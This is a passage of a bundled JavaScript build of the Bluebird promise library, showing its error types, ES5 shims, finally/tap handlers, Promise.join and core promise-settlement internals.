return config.cancellation;
},
monitoring: function() {
return config.monitoring;
},
propagateFromFunction: function() {
return propagateFromFunction;
},
boundValueFunction: function() {
return boundValueFunction;
},
checkForgottenReturns: checkForgottenReturns,
setBounds: setBounds,
warn: warn,
deprecated: deprecated,
CapturedTrace: CapturedTrace,
fireDomEvent: fireDomEvent,
fireGlobalEvent: fireGlobalEvent
};
};
},{"./errors":9,"./util":21}],8:[function(_dereq_,module,exports){
"use strict";
module.exports = function(Promise) {
function returner() {
return this.value;
}
function thrower() {
throw this.reason;
}
Promise.prototype["return"] =
Promise.prototype.thenReturn = function (value) {
if (value instanceof Promise) value.suppressUnhandledRejections();
return this._then(
returner, undefined, undefined, {value: value}, undefined);
};
Promise.prototype["throw"] =
Promise.prototype.thenThrow = function (reason) {
return this._then(
thrower, undefined, undefined, {reason: reason}, undefined);
};
Promise.prototype.catchThrow = function (reason) {
if (arguments.length <= 1) {
return this._then(
undefined, thrower, undefined, {reason: reason}, undefined);
} else {
var _reason = arguments[1];
var handler = function() {throw _reason;};
return this.caught(reason, handler);
}
};
Promise.prototype.catchReturn = function (value) {
if (arguments.length <= 1) {
if (value instanceof Promise) value.suppressUnhandledRejections();
return this._then(
undefined, returner, undefined, {value: value}, undefined);
} else {
var _value = arguments[1];
if (_value instanceof Promise) _value.suppressUnhandledRejections();
var handler = function() {return _value;};
return this.caught(value, handler);
}
};
};
},{}],9:[function(_dereq_,module,exports){
"use strict";
var es5 = _dereq_("./es5");
var Objectfreeze = es5.freeze;
var util = _dereq_("./util");
var inherits = util.inherits;
var notEnumerableProp = util.notEnumerableProp;
function subError(nameProperty, defaultMessage) {
function SubError(message) {
if (!(this instanceof SubError)) return new SubError(message);
notEnumerableProp(this, "message",
typeof message === "string" ? message : defaultMessage);
notEnumerableProp(this, "name", nameProperty);
if (Error.captureStackTrace) {
Error.captureStackTrace(this, this.constructor);
} else {
Error.call(this);
}
}
inherits(SubError, Error);
return SubError;
}
var _TypeError, _RangeError;
var Warning = subError("Warning", "warning");
var CancellationError = subError("CancellationError", "cancellation error");
var TimeoutError = subError("TimeoutError", "timeout error");
var AggregateError = subError("AggregateError", "aggregate error");
try {
_TypeError = TypeError;
_RangeError = RangeError;
} catch(e) {
_TypeError = subError("TypeError", "type error");
_RangeError = subError("RangeError", "range error");
}
var methods = ("join pop push shift unshift slice filter forEach some " +
"every map indexOf lastIndexOf reduce reduceRight sort reverse").split(" ");
for (var i = 0; i < methods.length; ++i) {
if (typeof Array.prototype[methods[i]] === "function") {
AggregateError.prototype[methods[i]] = Array.prototype[methods[i]];
}
}
es5.defineProperty(AggregateError.prototype, "length", {
value: 0,
configurable: false,
writable: true,
enumerable: true
});
AggregateError.prototype["isOperational"] = true;
var level = 0;
AggregateError.prototype.toString = function() {
var indent = Array(level * 4 + 1).join(" ");
var ret = "\n" + indent + "AggregateError of:" + "\n";
level++;
indent = Array(level * 4 + 1).join(" ");
for (var i = 0; i < this.length; ++i) {
var str = this[i] === this ? "[Circular AggregateError]" : this[i] + "";
var lines = str.split("\n");
for (var j = 0; j < lines.length; ++j) {
lines[j] = indent + lines[j];
}
str = lines.join("\n");
ret += str + "\n";
}
level--;
return ret;
};
function OperationalError(message) {
if (!(this instanceof OperationalError))
return new OperationalError(message);
notEnumerableProp(this, "name", "OperationalError");
notEnumerableProp(this, "message", message);
this.cause = message;
this["isOperational"] = true;
if (message instanceof Error) {
notEnumerableProp(this, "message", message.message);
notEnumerableProp(this, "stack", message.stack);
} else if (Error.captureStackTrace) {
Error.captureStackTrace(this, this.constructor);
}
}
inherits(OperationalError, Error);
var errorTypes = Error["__BluebirdErrorTypes__"];
if (!errorTypes) {
errorTypes = Objectfreeze({
CancellationError: CancellationError,
TimeoutError: TimeoutError,
OperationalError: OperationalError,
RejectionError: OperationalError,
AggregateError: AggregateError
});
es5.defineProperty(Error, "__BluebirdErrorTypes__", {
value: errorTypes,
writable: false,
enumerable: false,
configurable: false
});
}
module.exports = {
Error: Error,
TypeError: _TypeError,
RangeError: _RangeError,
CancellationError: errorTypes.CancellationError,
OperationalError: errorTypes.OperationalError,
TimeoutError: errorTypes.TimeoutError,
AggregateError: errorTypes.AggregateError,
Warning: Warning
};
},{"./es5":10,"./util":21}],10:[function(_dereq_,module,exports){
var isES5 = (function(){
"use strict";
return this === undefined;
})();
if (isES5) {
module.exports = {
freeze: Object.freeze,
defineProperty: Object.defineProperty,
getDescriptor: Object.getOwnPropertyDescriptor,
keys: Object.keys,
names: Object.getOwnPropertyNames,
getPrototypeOf: Object.getPrototypeOf,
isArray: Array.isArray,
isES5: isES5,
propertyIsWritable: function(obj, prop) {
var descriptor = Object.getOwnPropertyDescriptor(obj, prop);
return !!(!descriptor || descriptor.writable || descriptor.set);
}
};
} else {
var has = {}.hasOwnProperty;
var str = {}.toString;
var proto = {}.constructor.prototype;
var ObjectKeys = function (o) {
var ret = [];
for (var key in o) {
if (has.call(o, key)) {
ret.push(key);
}
}
return ret;
};
var ObjectGetDescriptor = function(o, key) {
return {value: o[key]};
};
var ObjectDefineProperty = function (o, key, desc) {
o[key] = desc.value;
return o;
};
var ObjectFreeze = function (obj) {
return obj;
};
var ObjectGetPrototypeOf = function (obj) {
try {
return Object(obj).constructor.prototype;
}
catch (e) {
return proto;
}
};
var ArrayIsArray = function (obj) {
try {
return str.call(obj) === "[object Array]";
}
catch(e) {
return false;
}
};
module.exports = {
isArray: ArrayIsArray,
keys: ObjectKeys,
names: ObjectKeys,
defineProperty: ObjectDefineProperty,
getDescriptor: ObjectGetDescriptor,
freeze: ObjectFreeze,
getPrototypeOf: ObjectGetPrototypeOf,
isES5: isES5,
propertyIsWritable: function() {
return true;
}
};
}
},{}],11:[function(_dereq_,module,exports){
"use strict";
module.exports = function(Promise, tryConvertToPromise, NEXT_FILTER) {
var util = _dereq_("./util");
var CancellationError = Promise.CancellationError;
var errorObj = util.errorObj;
var catchFilter = _dereq_("./catch_filter")(NEXT_FILTER);
function PassThroughHandlerContext(promise, type, handler) {
this.promise = promise;
this.type = type;
this.handler = handler;
this.called = false;
this.cancelPromise = null;
}
PassThroughHandlerContext.prototype.isFinallyHandler = function() {
return this.type === 0;
};
function FinallyHandlerCancelReaction(finallyHandler) {
this.finallyHandler = finallyHandler;
}
FinallyHandlerCancelReaction.prototype._resultCancelled = function() {
checkCancel(this.finallyHandler);
};
function checkCancel(ctx, reason) {
if (ctx.cancelPromise != null) {
if (arguments.length > 1) {
ctx.cancelPromise._reject(reason);
} else {
ctx.cancelPromise._cancel();
}
ctx.cancelPromise = null;
return true;
}
return false;
}
function succeed() {
return finallyHandler.call(this, this.promise._target()._settledValue());
}
function fail(reason) {
if (checkCancel(this, reason)) return;
errorObj.e = reason;
return errorObj;
}
function finallyHandler(reasonOrValue) {
var promise = this.promise;
var handler = this.handler;
if (!this.called) {
this.called = true;
var ret = this.isFinallyHandler()
? handler.call(promise._boundValue())
: handler.call(promise._boundValue(), reasonOrValue);
if (ret === NEXT_FILTER) {
return ret;
} else if (ret !== undefined) {
promise._setReturnedNonUndefined();
var maybePromise = tryConvertToPromise(ret, promise);
if (maybePromise instanceof Promise) {
if (this.cancelPromise != null) {
if (maybePromise._isCancelled()) {
var reason =
new CancellationError("late cancellation observer");
promise._attachExtraTrace(reason);
errorObj.e = reason;
return errorObj;
} else if (maybePromise.isPending()) {
maybePromise._attachCancellationCallback(
new FinallyHandlerCancelReaction(this));
}
}
return maybePromise._then(
succeed, fail, undefined, this, undefined);
}
}
}
if (promise.isRejected()) {
checkCancel(this);
errorObj.e = reasonOrValue;
return errorObj;
} else {
checkCancel(this);
return reasonOrValue;
}
}
Promise.prototype._passThrough = function(handler, type, success, fail) {
if (typeof handler !== "function") return this.then();
return this._then(success,
fail,
undefined,
new PassThroughHandlerContext(this, type, handler),
undefined);
};
Promise.prototype.lastly =
Promise.prototype["finally"] = function (handler) {
return this._passThrough(handler,
0,
finallyHandler,
finallyHandler);
};
Promise.prototype.tap = function (handler) {
return this._passThrough(handler, 1, finallyHandler);
};
Promise.prototype.tapCatch = function (handlerOrPredicate) {
var len = arguments.length;
if(len === 1) {
return this._passThrough(handlerOrPredicate,
1,
undefined,
finallyHandler);
} else {
var catchInstances = new Array(len - 1),
j = 0, i;
for (i = 0; i < len - 1; ++i) {
var item = arguments[i];
if (util.isObject(item)) {
catchInstances[j++] = item;
} else {
return Promise.reject(new TypeError(
"tapCatch statement predicate: "
+ "expecting an object but got " + util.classString(item)
));
}
}
catchInstances.length = j;
var handler = arguments[i];
return this._passThrough(catchFilter(catchInstances, handler, this),
1,
undefined,
finallyHandler);
}
};
return PassThroughHandlerContext;
};
},{"./catch_filter":5,"./util":21}],12:[function(_dereq_,module,exports){
"use strict";
module.exports =
function(Promise, PromiseArray, tryConvertToPromise, INTERNAL, async,
getDomain) {
var util = _dereq_("./util");
var canEvaluate = util.canEvaluate;
var tryCatch = util.tryCatch;
var errorObj = util.errorObj;
var reject;
if (!true) {
if (canEvaluate) {
var thenCallback = function(i) {
return new Function("value", "holder", " \n\
'use strict'; \n\
holder.pIndex = value; \n\
holder.checkFulfillment(this); \n\
".replace(/Index/g, i));
};
var promiseSetter = function(i) {
return new Function("promise", "holder", " \n\
'use strict'; \n\
holder.pIndex = promise; \n\
".replace(/Index/g, i));
};
var generateHolderClass = function(total) {
var props = new Array(total);
for (var i = 0; i < props.length; ++i) {
props[i] = "this.p" + (i+1);
}
var assignment = props.join(" = ") + " = null;";
var cancellationCode= "var promise;\n" + props.map(function(prop) {
return " \n\
promise = " + prop + "; \n\
if (promise instanceof Promise) { \n\
promise.cancel(); \n\
} \n\
";
}).join("\n");
var passedArguments = props.join(", ");
var name = "Holder$" + total;
var code = "return function(tryCatch, errorObj, Promise, async) { \n\
'use strict'; \n\
function [TheName](fn) { \n\
[TheProperties] \n\
this.fn = fn; \n\
this.asyncNeeded = true; \n\
this.now = 0; \n\
} \n\
\n\
[TheName].prototype._callFunction = function(promise) { \n\
promise._pushContext(); \n\
var ret = tryCatch(this.fn)([ThePassedArguments]); \n\
promise._popContext(); \n\
if (ret === errorObj) { \n\
promise._rejectCallback(ret.e, false); \n\
} else { \n\
promise._resolveCallback(ret); \n\
} \n\
}; \n\
\n\
[TheName].prototype.checkFulfillment = function(promise) { \n\
var now = ++this.now; \n\
if (now === [TheTotal]) { \n\
if (this.asyncNeeded) { \n\
async.invoke(this._callFunction, this, promise); \n\
} else { \n\
this._callFunction(promise); \n\
} \n\
\n\
} \n\
}; \n\
\n\
[TheName].prototype._resultCancelled = function() { \n\
[CancellationCode] \n\
}; \n\
\n\
return [TheName]; \n\
}(tryCatch, errorObj, Promise, async); \n\
";
code = code.replace(/\[TheName\]/g, name)
.replace(/\[TheTotal\]/g, total)
.replace(/\[ThePassedArguments\]/g, passedArguments)
.replace(/\[TheProperties\]/g, assignment)
.replace(/\[CancellationCode\]/g, cancellationCode);
return new Function("tryCatch", "errorObj", "Promise", "async", code)
(tryCatch, errorObj, Promise, async);
};
var holderClasses = [];
var thenCallbacks = [];
var promiseSetters = [];
for (var i = 0; i < 8; ++i) {
holderClasses.push(generateHolderClass(i + 1));
thenCallbacks.push(thenCallback(i + 1));
promiseSetters.push(promiseSetter(i + 1));
}
reject = function (reason) {
this._reject(reason);
};
}}
Promise.join = function () {
var last = arguments.length - 1;
var fn;
if (last > 0 && typeof arguments[last] === "function") {
fn = arguments[last];
if (!true) {
if (last <= 8 && canEvaluate) {
var ret = new Promise(INTERNAL);
ret._captureStackTrace();
var HolderClass = holderClasses[last - 1];
var holder = new HolderClass(fn);
var callbacks = thenCallbacks;
for (var i = 0; i < last; ++i) {
var maybePromise = tryConvertToPromise(arguments[i], ret);
if (maybePromise instanceof Promise) {
maybePromise = maybePromise._target();
var bitField = maybePromise._bitField;
;
if (((bitField & 50397184) === 0)) {
maybePromise._then(callbacks[i], reject,
undefined, ret, holder);
promiseSetters[i](maybePromise, holder);
holder.asyncNeeded = false;
} else if (((bitField & 33554432) !== 0)) {
callbacks[i].call(ret,
maybePromise._value(), holder);
} else if (((bitField & 16777216) !== 0)) {
ret._reject(maybePromise._reason());
} else {
ret._cancel();
}
} else {
callbacks[i].call(ret, maybePromise, holder);
}
}
if (!ret._isFateSealed()) {
if (holder.asyncNeeded) {
var domain = getDomain();
if (domain !== null) {
holder.fn = util.domainBind(domain, holder.fn);
}
}
ret._setAsyncGuaranteed();
ret._setOnCancel(holder);
}
return ret;
}
}
}
var args = [].slice.call(arguments);;
if (fn) args.pop();
var ret = new PromiseArray(args).promise();
return fn !== undefined ? ret.spread(fn) : ret;
};
};
},{"./util":21}],13:[function(_dereq_,module,exports){
"use strict";
module.exports =
function(Promise, INTERNAL, tryConvertToPromise, apiRejection, debug) {
var util = _dereq_("./util");
var tryCatch = util.tryCatch;
Promise.method = function (fn) {
if (typeof fn !== "function") {
throw new Promise.TypeError("expecting a function but got " + util.classString(fn));
}
return function () {
var ret = new Promise(INTERNAL);
ret._captureStackTrace();
ret._pushContext();
var value = tryCatch(fn).apply(this, arguments);
var promiseCreated = ret._popContext();
debug.checkForgottenReturns(
value, promiseCreated, "Promise.method", ret);
ret._resolveFromSyncValue(value);
return ret;
};
};
Promise.attempt = Promise["try"] = function (fn) {
if (typeof fn !== "function") {
return apiRejection("expecting a function but got " + util.classString(fn));
}
var ret = new Promise(INTERNAL);
ret._captureStackTrace();
ret._pushContext();
var value;
if (arguments.length > 1) {
debug.deprecated("calling Promise.try with more than 1 argument");
var arg = arguments[1];
var ctx = arguments[2];
value = util.isArray(arg) ? tryCatch(fn).apply(ctx, arg)
: tryCatch(fn).call(ctx, arg);
} else {
value = tryCatch(fn)();
}
var promiseCreated = ret._popContext();
debug.checkForgottenReturns(
value, promiseCreated, "Promise.try", ret);
ret._resolveFromSyncValue(value);
return ret;
};
Promise.prototype._resolveFromSyncValue = function (value) {
if (value === util.errorObj) {
this._rejectCallback(value.e, false);
} else {
this._resolveCallback(value, true);
}
};
};
},{"./util":21}],14:[function(_dereq_,module,exports){
"use strict";
var util = _dereq_("./util");
var maybeWrapAsError = util.maybeWrapAsError;
var errors = _dereq_("./errors");
var OperationalError = errors.OperationalError;
var es5 = _dereq_("./es5");
function isUntypedError(obj) {
return obj instanceof Error &&
es5.getPrototypeOf(obj) === Error.prototype;
}
var rErrorKey = /^(?:name|message|stack|cause)$/;
function wrapAsOperationalError(obj) {
var ret;
if (isUntypedError(obj)) {
ret = new OperationalError(obj);
ret.name = obj.name;
ret.message = obj.message;
ret.stack = obj.stack;
var keys = es5.keys(obj);
for (var i = 0; i < keys.length; ++i) {
var key = keys[i];
if (!rErrorKey.test(key)) {
ret[key] = obj[key];
}
}
return ret;
}
util.markAsOriginatingFromRejection(obj);
return obj;
}
function nodebackForPromise(promise, multiArgs) {
return function(err, value) {
if (promise === null) return;
if (err) {
var wrapped = wrapAsOperationalError(maybeWrapAsError(err));
promise._attachExtraTrace(wrapped);
promise._reject(wrapped);
} else if (!multiArgs) {
promise._fulfill(value);
} else {
var args = [].slice.call(arguments, 1);;
promise._fulfill(args);
}
promise = null;
};
}
module.exports = nodebackForPromise;
},{"./errors":9,"./es5":10,"./util":21}],15:[function(_dereq_,module,exports){
"use strict";
module.exports = function() {
var makeSelfResolutionError = function () {
return new TypeError("circular promise resolution chain\u000a\u000a See http://goo.gl/MqrFmX\u000a");
};
var reflectHandler = function() {
return new Promise.PromiseInspection(this._target());
};
var apiRejection = function(msg) {
return Promise.reject(new TypeError(msg));
};
function Proxyable() {}
var UNDEFINED_BINDING = {};
var util = _dereq_("./util");
var getDomain;
if (util.isNode) {
getDomain = function() {
var ret = process.domain;
if (ret === undefined) ret = null;
return ret;
};
} else {
getDomain = function() {
return null;
};
}
util.notEnumerableProp(Promise, "_getDomain", getDomain);
var es5 = _dereq_("./es5");
var Async = _dereq_("./async");
var async = new Async();
es5.defineProperty(Promise, "_async", {value: async});
var errors = _dereq_("./errors");
var TypeError = Promise.TypeError = errors.TypeError;
Promise.RangeError = errors.RangeError;
var CancellationError = Promise.CancellationError = errors.CancellationError;
Promise.TimeoutError = errors.TimeoutError;
Promise.OperationalError = errors.OperationalError;
Promise.RejectionError = errors.OperationalError;
Promise.AggregateError = errors.AggregateError;
var INTERNAL = function(){};
var APPLY = {};
var NEXT_FILTER = {};
var tryConvertToPromise = _dereq_("./thenables")(Promise, INTERNAL);
var PromiseArray =
_dereq_("./promise_array")(Promise, INTERNAL,
tryConvertToPromise, apiRejection, Proxyable);
var Context = _dereq_("./context")(Promise);
/*jshint unused:false*/
var createContext = Context.create;
var debug = _dereq_("./debuggability")(Promise, Context);
var CapturedTrace = debug.CapturedTrace;
var PassThroughHandlerContext =
_dereq_("./finally")(Promise, tryConvertToPromise, NEXT_FILTER);
var catchFilter = _dereq_("./catch_filter")(NEXT_FILTER);
var nodebackForPromise = _dereq_("./nodeback");
var errorObj = util.errorObj;
var tryCatch = util.tryCatch;
function check(self, executor) {
if (self == null || self.constructor !== Promise) {
throw new TypeError("the promise constructor cannot be invoked directly\u000a\u000a See http://goo.gl/MqrFmX\u000a");
}
if (typeof executor !== "function") {
throw new TypeError("expecting a function but got " + util.classString(executor));
}
}
function Promise(executor) {
if (executor !== INTERNAL) {
check(this, executor);
}
this._bitField = 0;
this._fulfillmentHandler0 = undefined;
this._rejectionHandler0 = undefined;
this._promise0 = undefined;
this._receiver0 = undefined;
this._resolveFromExecutor(executor);
this._promiseCreated();
this._fireEvent("promiseCreated", this);
}
Promise.prototype.toString = function () {
return "[object Promise]";
};
Promise.prototype.caught = Promise.prototype["catch"] = function (fn) {
var len = arguments.length;
if (len > 1) {
var catchInstances = new Array(len - 1),
j = 0, i;
for (i = 0; i < len - 1; ++i) {
var item = arguments[i];
if (util.isObject(item)) {
catchInstances[j++] = item;
} else {
return apiRejection("Catch statement predicate: " +
"expecting an object but got " + util.classString(item));
}
}
catchInstances.length = j;
fn = arguments[i];
return this.then(undefined, catchFilter(catchInstances, fn, this));
}
return this.then(undefined, fn);
};
Promise.prototype.reflect = function () {
return this._then(reflectHandler,
reflectHandler, undefined, this, undefined);
};
Promise.prototype.then = function (didFulfill, didReject) {
if (debug.warnings() && arguments.length > 0 &&
typeof didFulfill !== "function" &&
typeof didReject !== "function") {
var msg = ".then() only accepts functions but was passed: " +
util.classString(didFulfill);
if (arguments.length > 1) {
msg += ", " + util.classString(didReject);
}
this._warn(msg);
}
return this._then(didFulfill, didReject, undefined, undefined, undefined);
};
Promise.prototype.done = function (didFulfill, didReject) {
var promise =
this._then(didFulfill, didReject, undefined, undefined, undefined);
promise._setIsFinal();
};
Promise.prototype.spread = function (fn) {
if (typeof fn !== "function") {
return apiRejection("expecting a function but got " + util.classString(fn));
}
return this.all()._then(fn, undefined, undefined, APPLY, undefined);
};
Promise.prototype.toJSON = function () {
var ret = {
isFulfilled: false,
isRejected: false,
fulfillmentValue: undefined,
rejectionReason: undefined
};
if (this.isFulfilled()) {
ret.fulfillmentValue = this.value();
ret.isFulfilled = true;
} else if (this.isRejected()) {
ret.rejectionReason = this.reason();
ret.isRejected = true;
}
return ret;
};
Promise.prototype.all = function () {
if (arguments.length > 0) {
this._warn(".all() was passed arguments but it does not take any");
}
return new PromiseArray(this).promise();
};
Promise.prototype.error = function (fn) {
return this.caught(util.originatesFromRejection, fn);
};
Promise.getNewLibraryCopy = module.exports;
Promise.is = function (val) {
return val instanceof Promise;
};
Promise.fromNode = Promise.fromCallback = function(fn) {
var ret = new Promise(INTERNAL);
ret._captureStackTrace();
var multiArgs = arguments.length > 1 ? !!Object(arguments[1]).multiArgs
: false;
var result = tryCatch(fn)(nodebackForPromise(ret, multiArgs));
if (result === errorObj) {
ret._rejectCallback(result.e, true);
}
if (!ret._isFateSealed()) ret._setAsyncGuaranteed();
return ret;
};
Promise.all = function (promises) {
return new PromiseArray(promises).promise();
};
Promise.cast = function (obj) {
var ret = tryConvertToPromise(obj);
if (!(ret instanceof Promise)) {
ret = new Promise(INTERNAL);
ret._captureStackTrace();
ret._setFulfilled();
ret._rejectionHandler0 = obj;
}
return ret;
};
Promise.resolve = Promise.fulfilled = Promise.cast;
Promise.reject = Promise.rejected = function (reason) {
var ret = new Promise(INTERNAL);
ret._captureStackTrace();
ret._rejectCallback(reason, true);
return ret;
};
Promise.setScheduler = function(fn) {
if (typeof fn !== "function") {
throw new TypeError("expecting a function but got " + util.classString(fn));
}
return async.setScheduler(fn);
};
Promise.prototype._then = function (
didFulfill,
didReject,
_, receiver,
internalData
) {
var haveInternalData = internalData !== undefined;
var promise = haveInternalData ? internalData : new Promise(INTERNAL);
var target = this._target();
var bitField = target._bitField;
if (!haveInternalData) {
promise._propagateFrom(this, 3);
promise._captureStackTrace();
if (receiver === undefined &&
((this._bitField & 2097152) !== 0)) {
if (!((bitField & 50397184) === 0)) {
receiver = this._boundValue();
} else {
receiver = target === this ? undefined : this._boundTo;
}
}
this._fireEvent("promiseChained", this, promise);
}
var domain = getDomain();
if (!((bitField & 50397184) === 0)) {
var handler, value, settler = target._settlePromiseCtx;
if (((bitField & 33554432) !== 0)) {
value = target._rejectionHandler0;
handler = didFulfill;
} else if (((bitField & 16777216) !== 0)) {
value = target._fulfillmentHandler0;
handler = didReject;
target._unsetRejectionIsUnhandled();
} else {
settler = target._settlePromiseLateCancellationObserver;
value = new CancellationError("late cancellation observer");
target._attachExtraTrace(value);
handler = didReject;
}
async.invoke(settler, target, {
handler: domain === null ? handler
: (typeof handler === "function" &&
util.domainBind(domain, handler)),
promise: promise,
receiver: receiver,
value: value
});
} else {
target._addCallbacks(didFulfill, didReject, promise, receiver, domain);
}
return promise;
};
Promise.prototype._length = function () {
return this._bitField & 65535;
};
Promise.prototype._isFateSealed = function () {
return (this._bitField & 117506048) !== 0;
};
Promise.prototype._isFollowing = function () {
return (this._bitField & 67108864) === 67108864;
};
Promise.prototype._setLength = function (len) {
this._bitField = (this._bitField & -65536) |
(len & 65535);
};
Promise.prototype._setFulfilled = function () {
this._bitField = this._bitField | 33554432;
this._fireEvent("promiseFulfilled", this);
};
Promise.prototype._setRejected = function () {
this._bitField = this._bitField | 16777216;
this._fireEvent("promiseRejected", this);
};
Promise.prototype._setFollowing = function () {
this._bitField = this._bitField | 67108864;
this._fireEvent("promiseResolved", this);
};
Promise.prototype._setIsFinal = function () {
this._bitField = this._bitField | 4194304;
};
Promise.prototype._isFinal = function () {
return (this._bitField & 4194304) > 0;
};
Promise.prototype._unsetCancelled = function() {
this._bitField = this._bitField & (~65536);
};
Promise.prototype._setCancelled = function() {
this._bitField = this._bitField | 65536;
this._fireEvent("promiseCancelled", this);
};
Promise.prototype._setWillBeCancelled = function() {
this._bitField = this._bitField | 8388608;
};
Promise.prototype._setAsyncGuaranteed = function() {
if (async.hasCustomScheduler()) return;
this._bitField = this._bitField | 134217728;
};
Promise.prototype._receiverAt = function (index) {
var ret = index === 0 ? this._receiver0 : this[
index * 4 - 4 + 3];
if (ret === UNDEFINED_BINDING) {
return undefined;
} else if (ret === undefined && this._isBound()) {
return this._boundValue();
}
return ret;
};
Promise.prototype._promiseAt = function (index) {
return this[
index * 4 - 4 + 2];
};
Promise.prototype._fulfillmentHandlerAt = function (index) {
return this[
index * 4 - 4 + 0];
};
Promise.prototype._rejectionHandlerAt = function (index) {
return this[
index * 4 - 4 + 1];
};
Promise.prototype._boundValue = function() {};
Promise.prototype._migrateCallback0 = function (follower) {
var bitField = follower._bitField;
var fulfill = follower._fulfillmentHandler0;
var reject = follower._rejectionHandler0;
var promise = follower._promise0;
var receiver = follower._receiverAt(0);
if (receiver === undefined) receiver = UNDEFINED_BINDING;
this._addCallbacks(fulfill, reject, promise, receiver, null);
};
Promise.prototype._migrateCallbackAt = function (follower, index) {
var fulfill = follower._fulfillmentHandlerAt(index);
var reject = follower._rejectionHandlerAt(index);
var promise = follower._promiseAt(index);
var receiver = follower._receiverAt(index);
if (receiver === undefined) receiver = UNDEFINED_BINDING;
this._addCallbacks(fulfill, reject, promise, receiver, null);
};
Promise.prototype._addCallbacks = function (
fulfill,
reject,
promise,
receiver,
domain
) {
var index = this._length();
if (index >= 65535 - 4) {
index = 0;
this._setLength(0);
}
if (index === 0) {
this._promise0 = promise;
this._receiver0 = receiver;
if (typeof fulfill === "function") {
this._fulfillmentHandler0 =
domain === null ? fulfill : util.domainBind(domain, fulfill);
}
if (typeof reject === "function") {
this._rejectionHandler0 =
domain === null ? reject : util.domainBind(domain, reject);
}
} else {
var base = index * 4 - 4;
this[base + 2] = promise;
this[base + 3] = receiver;
if (typeof fulfill === "function") {
this[base + 0] =
domain === null ? fulfill : util.domainBind(domain, fulfill);
}
if (typeof reject === "function") {
this[base + 1] =
domain === null ? reject : util.domainBind(domain, reject);
}
}
this._setLength(index + 1);
return index;
};
Promise.prototype._proxy = function (proxyable, arg) {
this._addCallbacks(undefined, undefined, arg, proxyable, null);
};
Promise.prototype._resolveCallback = function(value, shouldBind) {
if (((this._bitField & 117506048) !== 0)) return;
if (value === this)
return this._rejectCallback(makeSelfResolutionError(), false);
var maybePromise = tryConvertToPromise(value, this);
if (!(maybePromise instanceof Promise)) return this._fulfill(value);
if (shouldBind) this._propagateFrom(maybePromise, 2);
var promise = maybePromise._target();
if (promise === this) {
this._reject(makeSelfResolutionError());
return;
}
var bitField = promise._bitField;
if (((bitField & 50397184) === 0)) {
var len = this._length();
if (len > 0) promise._migrateCallback0(this);
for (var i = 1; i < len; ++i) {
promise._migrateCallbackAt(this, i);
}
this._setFollowing();
this._setLength(0);
this._setFollowee(promise);
} else if (((bitField & 33554432) !== 0)) {
this._fulfill(promise._value());
} else if (((bitField & 16777216) !== 0)) {
this._reject(promise._reason());
} else {
var reason = new CancellationError("late cancellation observer");
promise._attachExtraTrace(reason);
this._reject(reason);
}
};
Promise.prototype._rejectCallback =
function(reason, synchronous, ignoreNonErrorWarnings) {
var trace = util.ensureErrorObject(reason);
var hasStack = trace === reason;
if (!hasStack && !ignoreNonErrorWarnings && debug.warnings()) {
var message = "a promise was rejected with a non-error: " +
util.classString(reason);
this._warn(message, true);
}
this._attachExtraTrace(trace, synchronous ? hasStack : false);
this._reject(reason);
};
Promise.prototype._resolveFromExecutor = function (executor) {
if (executor === INTERNAL) return;
var promise = this;
this._captureStackTrace();
this._pushContext();
var synchronous = true;
var r = this._execute(executor, function(value) {
promise._resolveCallback(value);
}, function (reason) {
promise._rejectCallback(reason, synchronous);
});
synchronous = false;
this._popContext();
if (r !== undefined) {
promise._rejectCallback(r, true);
}
};
Promise.prototype._settlePromiseFromHandler = function (
handler, receiver, value, promise
) {
var bitField = promise._bitField;
if (((bitField & 65536) !== 0)) return;
promise._pushContext();
var x;
if (receiver === APPLY) {
if (!value || typeof value.length !== "number") {
x = errorObj;
x.e = new TypeError("cannot .spread() a non-array: " +
util.classString(value));
} else {
x = tryCatch(handler).apply(this._boundValue(), value);
}
} else {
x = tryCatch(handler).call(receiver, value);
}
var promiseCreated = promise._popContext();
bitField = promise._bitField;
if (((bitField & 65536) !== 0)) return;
if (x === NEXT_FILTER) {
promise._reject(value);
} else if (x === errorObj) {
promise._rejectCallback(x.e, false);
} else {
debug.checkForgottenReturns(x, promiseCreated, "", promise, this);
promise._resolveCallback(x);
}
};
Promise.prototype._target = function() {
var ret = this;
while (ret._isFollowing()) ret = ret._followee();
return ret;
};
Promise.prototype._followee = function() {
return this._rejectionHandler0;
};
Promise.prototype._setFollowee = function(promise) {
this._rejectionHandler0 = promise;
};
Promise.prototype._settlePromise = function(promise, handler, receiver, value) {
var isPromise = promise instanceof Promise;
var bitField = this._bitField;
var asyncGuaranteed = ((bitField & 134217728) !== 0);
if (((bitField & 65536) !== 0)) {
if (isPromise) promise._invokeInternalOnCancel();
if (receiver instanceof PassThroughHandlerContext &&
receiver.isFinallyHandler()) {
receiver.cancelPromise = promise;
if (tryCatch(handler).call(receiver, value) === errorObj) {
promise._reject(errorObj.e);
}
} else if (handler === reflectHandler) {
promise._fulfill(reflectHandler.call(receiver));
} else if (receiver instanceof Proxyable) {
receiver._promiseCancelled(promise);
} else if (isPromise || promise instanceof PromiseArray) {
promise._cancel();
} else {
receiver.cancel();
}
} else if (typeof handler === "function") {
if (!isPromise) {
handler.call(receiver, value, promise);
} else {
if (asyncGuaranteed) promise._setAsyncGuaranteed();
this._settlePromiseFromHandler(handler, receiver, value, promise);
}
} else if (receiver instanceof Proxyable) {
if (!receiver._isResolved()) {
if (((bitField & 33554432) !== 0)) {
receiver._promiseFulfilled(value, promise);
} else {
receiver._promiseRejected(value, promise);
}
}
} else if (isPromise) {
if (asyncGuaranteed) promise._setAsyncGuaranteed();
if (((bitField & 33554432) !== 0)) {
promise._fulfill(value);
} else {
promise._reject(value);
}
}
};
Promise.prototype._settlePromiseLateCancellationObserver = function(ctx) {
var handler = ctx.handler;
var promise = ctx.promise;
var receiver = ctx.receiver;
var value = ctx.value;
if (typeof handler === "function") {
if (!(promise instanceof Promise)) {
handler.call(receiver, value, promise);
} else {
this._settlePromiseFromHandler(handler, receiver, value, promise);
}
} else if (promise instanceof Promise) {
promise._reject(value);
}
};
Promise.prototype._settlePromiseCtx = function(ctx) {
this._settlePromise(ctx.promise, ctx.handler, ctx.receiver, ctx.value);
};
Promise.prototype._settlePromise0 = function(handler, value, bitField) {
var promise = this._promise0;
var receiver = this._receiverAt(0);
this._promise0 = undefined;
this._receiver0 = undefined;
this._settlePromise(promise, handler, receiver, value);
};
Promise.prototype._clearCallbackDataAtIndex = function(index) {
var base = index * 4 - 4;
this[base + 2] =
this[base + 3] =
this[base + 0] =
this[base + 1] = undefined;
};
Promise.prototype._fulfill = function (value) {
var bitField = this._bitField;
if (((bitField & 117506048) >>> 16)) return;
if (value === this) {
